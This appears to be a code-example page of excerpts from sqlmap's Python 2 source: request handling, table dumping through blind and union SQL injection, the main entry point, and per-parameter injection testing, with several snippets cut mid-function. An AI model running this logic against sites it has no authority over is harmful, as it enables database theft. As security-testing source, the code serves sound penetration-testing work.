            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace("<br>", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
        else:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

    return retVal
Beispiel #47
0
    def getPage(**kwargs):
        """
        This method connects to the target URL or proxy and returns
        the target URL page content
        """

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)
        elif conf.cpuThrottle:
            cpuThrottle(conf.cpuThrottle)

        if conf.dummy:
            return randomStr(int(randomInt()),
                             alphabet=[chr(_) for _ in xrange(256)
                                       ]), {}, int(randomInt())

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get("url", None) or conf.url
        get = kwargs.get("get", None)
        post = kwargs.get("post", None)
        method = kwargs.get("method", None)
        cookie = kwargs.get("cookie", None)
        ua = kwargs.get("ua", None) or conf.agent
        referer = kwargs.get("referer", None) or conf.referer
        host = kwargs.get("host", None) or conf.host
        direct_ = kwargs.get("direct", False)
        multipart = kwargs.get("multipart", False)
        silent = kwargs.get("silent", False)
        raise404 = kwargs.get("raise404", True)
        timeout = kwargs.get("timeout", None) or conf.timeout
        auxHeaders = kwargs.get("auxHeaders", None)
        response = kwargs.get("response", False)
        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
        refreshing = kwargs.get("refreshing", False)
        retrying = kwargs.get("retrying", False)
        crawling = kwargs.get("crawling", False)
        skipRead = kwargs.get("skipRead", False)

        if not urlparse.urlsplit(url).netloc:
            url = urlparse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = reduce(
            lambda x, y: x == y,
            map(lambda x: urlparse.urlparse(x).netloc.split(':')[0],
                [url, conf.url or ""]))

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace(" ", "%20")

        conn = None
        code = None
        page = None

        _ = urlparse.urlsplit(url)
        requestMsg = u"HTTP request [#%d]:\n%s " % (
            threadData.lastRequestUID, method or
            (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += ("%s%s" %
                       (_.path or "/",
                        ("?%s" % _.query) if _.query else "")) if not any(
                            (refreshing, crawling)) else url
        responseMsg = u"HTTP response "
        requestHeaders = u""
        responseHeaders = None
        logHeaders = u""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        # fix for known issues when using url in unicode format
        # (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case)
        url = unicodeencode(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = "%s?%s" % (url, params)
                    requestMsg += "?%s" % params

            elif multipart:
                # Needed in this form because of potential circle dependency
                # problem (option -> update -> connect -> option)
                from lib.core.option import proxyHandler

                multipartOpener = urllib2.build_opener(
                    proxyHandler, multipartpost.MultipartPostHandler)
                conn = multipartOpener.open(unicodeencode(url), multipart)
                page = Connect._connReadProxy(conn) if not skipRead else None
                responseHeaders = conn.info()
                responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                page = decodePage(
                    page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
                    responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))

                return page

            elif any((refreshing, crawling)):
                pass

            elif target:
                if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
                    url = re.sub("\Ahttp:", "https:", url, re.I)
                    url = re.sub(":80/", ":443/", url, re.I)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    url = "%s?%s" % (url, get)
                    requestMsg += "?%s" % get

                if PLACE.POST in conf.parameters and not post and method in (
                        None, HTTPMETHOD.POST):
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = "%s?%s" % (url, get)
                requestMsg += "?%s" % get

            requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({
                HTTP_HEADER.COOKIE: cookie,
                HTTP_HEADER.USER_AGENT: ua,
                HTTP_HEADER.REFERER: referer
            })

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
            headers[
                HTTP_HEADER.
                ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
            headers[HTTP_HEADER.HOST] = host or getHostHeader(url)

            if post is not None and HTTP_HEADER.CONTENT_TYPE not in headers:
                headers[
                    HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(
                        kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(
                    HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[
                        POST_HINT.MULTIPART]:
                warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE
                warnMsg += "Will try to reconstruct"
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (
                        headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if auxHeaders:
                for key, item in auxHeaders.items():
                    for _ in headers.keys():
                        if _.upper() == key.upper():
                            del headers[_]
                    headers[key] = item

            for key, item in headers.items():
                del headers[key]
                headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(
                    item, kb.pageEncoding)

            post = unicodeencode(post, kb.pageEncoding)

            if method:
                req = MethodRequest(url, post, headers)
                req.set_method(method)
            else:
                req = urllib2.Request(url, post, headers)

            requestHeaders += "\n".join(
                "%s: %s" %
                (key.capitalize() if isinstance(key, basestring) else key,
                 getUnicode(value)) for (key, value) in req.header_items())

            if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                conf.cj._policy._now = conf.cj._now = int(time.time())
                cookies = conf.cj._cookies_for_request(req)
                requestHeaders += "\n%s" % ("Cookie: %s" % ";".join(
                    "%s=%s" %
                    (getUnicode(cookie.name), getUnicode(cookie.value))
                    for cookie in cookies))

            if post is not None:
                if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
                    requestHeaders += "\n%s: %d" % (string.capwords(
                        HTTP_HEADER.CONTENT_LENGTH), len(post))

            if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION

            requestMsg += "\n%s" % requestHeaders

            if post is not None:
                requestMsg += "\n\n%s" % getUnicode(post)

            requestMsg += "\n"

            threadData.lastRequestMsg = requestMsg

            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

            conn = urllib2.urlopen(req)

            if not kb.authHeader and getRequestHeader(
                    req, HTTP_HEADER.AUTHORIZATION
            ) and conf.authType == AUTH_TYPE.BASIC:
                kb.authHeader = getRequestHeader(req,
                                                 HTTP_HEADER.AUTHORIZATION)

            if not kb.proxyAuthHeader and getRequestHeader(
                    req, HTTP_HEADER.PROXY_AUTHORIZATION):
                kb.proxyAuthHeader = getRequestHeader(
                    req, HTTP_HEADER.PROXY_AUTHORIZATION)

            # Return response object
            if response:
                return conn, None, None

            # Get HTTP response
            if hasattr(conn, 'redurl'):
                page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
                  else Connect._connReadProxy(conn)) if not skipRead else None
                skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                code = conn.redcode
            else:
                page = Connect._connReadProxy(conn) if not skipRead else None

            code = code or conn.code
            responseHeaders = conn.info()
            responseHeaders[URI_HTTP_HEADER] = conn.geturl()
            page = decodePage(
                page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
                responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            status = getUnicode(conn.msg)

            if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
                url = extractRegexResult(META_REFRESH_REGEX, page)

                debugMsg = "got HTML meta refresh header"
                logger.debug(debugMsg)

                if kb.alwaysRefresh is None:
                    msg = "sqlmap got a refresh request "
                    msg += "(redirect like response common to login pages). "
                    msg += "Do you want to apply the refresh "
                    msg += "from now on (or stay on the original page)? [Y/n]"
                    choice = readInput(msg, default="Y")

                    kb.alwaysRefresh = choice not in ("n", "N")

                if kb.alwaysRefresh:
                    if url.lower().startswith('http://'):
                        kwargs['url'] = url
                    else:
                        kwargs['url'] = conf.url[:conf.url.rfind('/') +
                                                 1] + url

                    threadData.lastRedirectMsg = (threadData.lastRequestUID,
                                                  page)
                    kwargs['refreshing'] = True
                    kwargs['get'] = None
                    kwargs['post'] = None

                    try:
                        return Connect._getPageProxy(**kwargs)
                    except SqlmapSyntaxException:
                        pass

            # Explicit closing of connection object
            if not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception, msg:
                    warnMsg = "problem occurred during connection closing ('%s')" % msg
                    logger.warn(warnMsg)

        except urllib2.HTTPError, e:
            page = None
            responseHeaders = None

            try:
                page = e.read() if not skipRead else None
                responseHeaders = e.info()
                responseHeaders[URI_HTTP_HEADER] = e.geturl()
                page = decodePage(
                    page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
                    responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = "connection timed out while trying "
                warnMsg += "to get error page information (%d)" % e.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = e.code
            threadData.lastHTTPError = (threadData.lastRequestUID, code)

            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            status = getUnicode(e.msg)
            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
                                                 code, status)

            if responseHeaders:
                logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize(
                ) if isinstance(key, basestring) else key), getUnicode(value))
                                       for (key,
                                            value) in responseHeaders.items())

            logHTTPTraffic(
                requestMsg,
                "%s%s\n\n%s" % (responseMsg, logHeaders,
                                (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += "%s\n\n%s" % (logHeaders,
                                             (page or
                                              "")[:MAX_CONNECTION_CHUNK_SIZE])

            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if e.code == httplib.UNAUTHORIZED and not conf.ignore401:
                errMsg = "not authorized, try to provide right HTTP "
                errMsg += "authentication type and valid credentials (%d)" % code
                raise SqlmapConnectionException(errMsg)
            elif e.code == httplib.NOT_FOUND:
                if raise404:
                    errMsg = "page not found (%d)" % code
                    raise SqlmapConnectionException(errMsg)
                else:
                    debugMsg = "page not found (%d)" % code
                    singleTimeLogMessage(debugMsg, logging.DEBUG)
                    processResponse(page, responseHeaders)
            elif e.code == httplib.GATEWAY_TIMEOUT:
                if ignoreTimeout:
                    return None, None, None
                else:
                    warnMsg = "unable to connect to the target URL (%d - %s)" % (
                        e.code, httplib.responses[e.code])
                    if threadData.retriesCount < conf.retries and not kb.threadException:
                        warnMsg += ". sqlmap is going to retry the request"
                        logger.critical(warnMsg)
                        return Connect._retryProxy(**kwargs)
                    elif kb.testMode:
                        logger.critical(warnMsg)
                        return None, None, None
                    else:
                        raise SqlmapConnectionException(warnMsg)
            else:
                debugMsg = "got HTTP error code: %d (%s)" % (code, status)
                logger.debug(debugMsg)
Beispiel #48
0
def pivotDumpTable(table, colList, count=None, blind=True):
    lengths = {}
    entries = {}

    dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind

    validColumnList = False
    validPivotValue = False

    if count is None:
        query = dumpNode.count % table
        query = agent.whereQuery(query)
        count = inject.getValue(
            query,
            union=False,
            error=False,
            expected=EXPECTED.INT,
            charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(
                query, blind=False, time=False, expected=EXPECTED.INT)

    if isinstance(count, basestring) and count.isdigit():
        count = int(count)

    if count == 0:
        infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(
            table)
        logger.info(infoMsg)

        for column in colList:
            lengths[column] = len(column)
            entries[column] = []

        return entries, lengths

    elif not isNumPosStrValue(count):
        return None

    for column in colList:
        lengths[column] = 0
        entries[column] = BigArray()

    colList = filter(None,
                     sorted(colList, key=lambda x: len(x) if x else MAX_INT))

    if conf.pivotColumn:
        for _ in colList:
            if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I):
                infoMsg = "using column '%s' as a pivot " % conf.pivotColumn
                infoMsg += "for retrieving row data"
                logger.info(infoMsg)

                colList.remove(_)
                colList.insert(0, _)

                validPivotValue = True
                break

        if not validPivotValue:
            warnMsg = "column '%s' not " % conf.pivotColumn
            warnMsg += "found in table '%s'" % table
            logger.warn(warnMsg)

    if not validPivotValue:
        for column in colList:
            infoMsg = "fetching number of distinct "
            infoMsg += "values for column '%s'" % column
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
            query = agent.whereQuery(query)
            value = inject.getValue(query,
                                    blind=blind,
                                    union=not blind,
                                    error=not blind,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if isNumPosStrValue(value):
                validColumnList = True

                if value == count:
                    infoMsg = "using column '%s' as a pivot " % column
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

                    validPivotValue = True
                    colList.remove(column)
                    colList.insert(0, column)
                    break

        if not validColumnList:
            errMsg = "all column name(s) provided are non-existent"
            raise SqlmapNoneDataException(errMsg)

        if not validPivotValue:
            warnMsg = "no proper pivot column provided (with unique values)."
            warnMsg += " It won't be possible to retrieve all rows"
            logger.warn(warnMsg)

    pivotValue = " "
    breakRetrieval = False

    def _(column, pivotValue):
        if column == colList[0]:
            query = dumpNode.query.replace(
                "'%s'" if unescaper.escape(pivotValue, False) != pivotValue
                else "%s", "%s") % (agent.preprocessField(
                    table, column), table, agent.preprocessField(
                        table, column), unescaper.escape(pivotValue, False))
        else:
            query = dumpNode.query2.replace(
                "'%s'"
                if unescaper.escape(pivotValue, False) != pivotValue else "%s",
                "%s") % (agent.preprocessField(table, column), table,
                         agent.preprocessField(table, colList[0]),
                         unescaper.escape(pivotValue, False))

        query = agent.whereQuery(query)
        return unArrayizeValue(
            inject.getValue(query,
                            blind=blind,
                            time=blind,
                            union=not blind,
                            error=not blind))

    try:
        for i in xrange(count):
            if breakRetrieval:
                break

            for column in colList:
                value = _(column, pivotValue)
                if column == colList[0]:
                    if isNoneValue(value):
                        try:
                            for pivotValue in filter(None, (
                                    "  " if pivotValue == " " else None,
                                    "%s%s" %
                                (pivotValue[0], unichr(ord(pivotValue[1]) + 1))
                                    if len(pivotValue) > 1 else None,
                                    unichr(ord(pivotValue[0]) + 1))):
                                value = _(column, pivotValue)
                                if not isNoneValue(value):
                                    break
                        except ValueError:
                            pass

                    if isNoneValue(value) or value == NULL:
                        breakRetrieval = True
                        break

                    pivotValue = safechardecode(value)

                if conf.limitStart or conf.limitStop:
                    if conf.limitStart and (i + 1) < conf.limitStart:
                        warnMsg = "skipping first %d pivot " % conf.limitStart
                        warnMsg += "point values"
                        singleTimeWarnMessage(warnMsg)
                        break
                    elif conf.limitStop and (i + 1) > conf.limitStop:
                        breakRetrieval = True
                        break

                value = "" if isNoneValue(value) else unArrayizeValue(value)

                lengths[column] = max(
                    lengths[column],
                    len(
                        DUMP_REPLACEMENTS.get(getUnicode(value),
                                              getUnicode(value))))
                entries[column].append(value)

    except KeyboardInterrupt:
        kb.dumpKeyboardInterrupt = True

        warnMsg = "user aborted during enumeration. sqlmap "
        warnMsg += "will display partial output"
        logger.warn(warnMsg)

    except SqlmapConnectionException, e:
        errMsg = "connection exception detected. sqlmap "
        errMsg += "will display partial output"
        errMsg += "'%s'" % e
        logger.critical(errMsg)
Beispiel #49
0
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
    except (OSError, IOError), ex:
        try:
            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
        except Exception, _:
            errMsg = "unable to write to the temporary directory ('%s'). " % _
            errMsg += "Please make sure that your disk is not full and "
            errMsg += "that you have sufficient write permissions to "
            errMsg += "create temporary files and/or directories"
            raise SqlmapSystemException(errMsg)

        warnMsg = "unable to %s output directory " % (
            "create"
            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
        warnMsg += "Using temporary directory '%s' instead" % getUnicode(
            tempDir)
        logger.warn(warnMsg)

        paths.SQLMAP_OUTPUT_PATH = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH),
                                   normalizeUnicode(getUnicode(conf.hostname)))

    if not os.path.isdir(conf.outputPath):
        try:
            os.makedirs(conf.outputPath, 0755)
        except (OSError, IOError), ex:
            try:
                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
Beispiel #50
0
 def modulePath():
     return getUnicode(os.path.dirname(os.path.realpath(__file__)),
                       encoding=sys.getfilesystemencoding()
                       or UNICODE_ENCODING)
Beispiel #51
0
def main():
    """
    Main function of sqlmap when running from command line.
    """

    try:
        paths.SQLMAP_ROOT_PATH = modulePath()
        setPaths()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, "api"):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
            sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
            setRestAPILog()

        banner()

        conf.showTime = True
        dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            start()

    except SqlmapUserQuitException:
        errMsg = "user quit"
        logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getUnicode(ex.message)
        logger.critical(errMsg)
        sys.exit(1)

    except KeyboardInterrupt:
        print
        errMsg = "user aborted"
        logger.error(errMsg)

    except EOFError:
        print
        errMsg = "exit"
        logger.error(errMsg)

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()

        for match in re.finditer(r'File "(.+?)", line', excMsg):
            file_ = match.group(1)
            file_ = os.path.relpath(file_, os.path.dirname(__file__))
            file_ = file_.replace("\\", '/')
            file_ = re.sub(r"\.\./", '/', file_).lstrip('/')
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        logger.critical(errMsg)
        kb.stickyLevel = logging.CRITICAL
        dataToStdout(excMsg)
        createGithubIssue(errMsg, excMsg)

    finally:
        if conf.get("showTime"):
            dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)

        for filename in glob.glob("%s*" % os.path.join(tempfile.gettempdir(), BIGARRAY_TEMP_PREFIX)):
            try:
                os.remove(filename)
            except:
                pass

        kb.threadContinue = False
        kb.threadException = True

        if conf.get("hashDB"):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if cmdLineOptions.get("sqlmapShell"):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if hasattr(conf, "api"):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get("dumper"):
            conf.dumper.flush()

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
            os._exit(0)
Beispiel #52
0
        conn = urllib2.urlopen(req)

        requestMsg = "HTTP request:\nGET %s" % url
        requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

        page = conn.read()
        code = conn.code
        status = conn.msg
        responseHeaders = conn.info()
        page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))

        responseMsg = "HTTP response (%s - %d):\n" % (status, code)

        if conf.verbose <= 4:
            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
        elif conf.verbose > 4:
            responseMsg += "%s\n%s\n" % (responseHeaders, page)

        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
    except urllib2.HTTPError, e:
        try:
            page = e.read()
        except Exception, ex:
            warnMsg = "problem occurred while trying to get "
            warnMsg += "an error page information (%s)" % getSafeExString(ex)
            logger.critical(warnMsg)
            return None
    except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError):
        errMsg = "unable to connect to Google"
        raise SqlmapConnectionException(errMsg)
Beispiel #53
0
def configFileParser(configFile):
    """
    Parse configuration file and save settings into the configuration
    advanced dictionary.
    """

    global config

    debugMsg = "parsing configuration file"
    logger.debug(debugMsg)

    checkFile(configFile)
    configFP = openFile(configFile, "rb")

    try:
        config = UnicodeRawConfigParser()
        config.readfp(configFP)
    except Exception, ex:
        errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex)
        raise SqlmapSyntaxException(errMsg)
Beispiel #54
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0

    for targetUrl, targetMethod, targetData, targetCookie in kb.targets:
        try:
            conf.url = targetUrl
            conf.method = targetMethod
            conf.data = targetData
            conf.cookie = targetCookie

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
                for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
                    kb.skipVulnHost = readInput(message, default="Y").upper() != 'N'
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
                else:
                    message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""

                if conf.forms:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        if conf.method == HTTPMETHOD.POST:
                            message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        elif conf.method == HTTPMETHOD.GET:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") + 1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        pass
                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            if conf.checkWaf:
                checkWaf()

            if conf.identifyWaf:
                identifyWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = conf.parameters.keys()

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS:
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter)
                                logger.warn(warnMsg)

                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (place, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            check = heuristicCheckSqlInjection(place, parameter)

                            if check != HEURISTIC_TEST.POSITIVE:
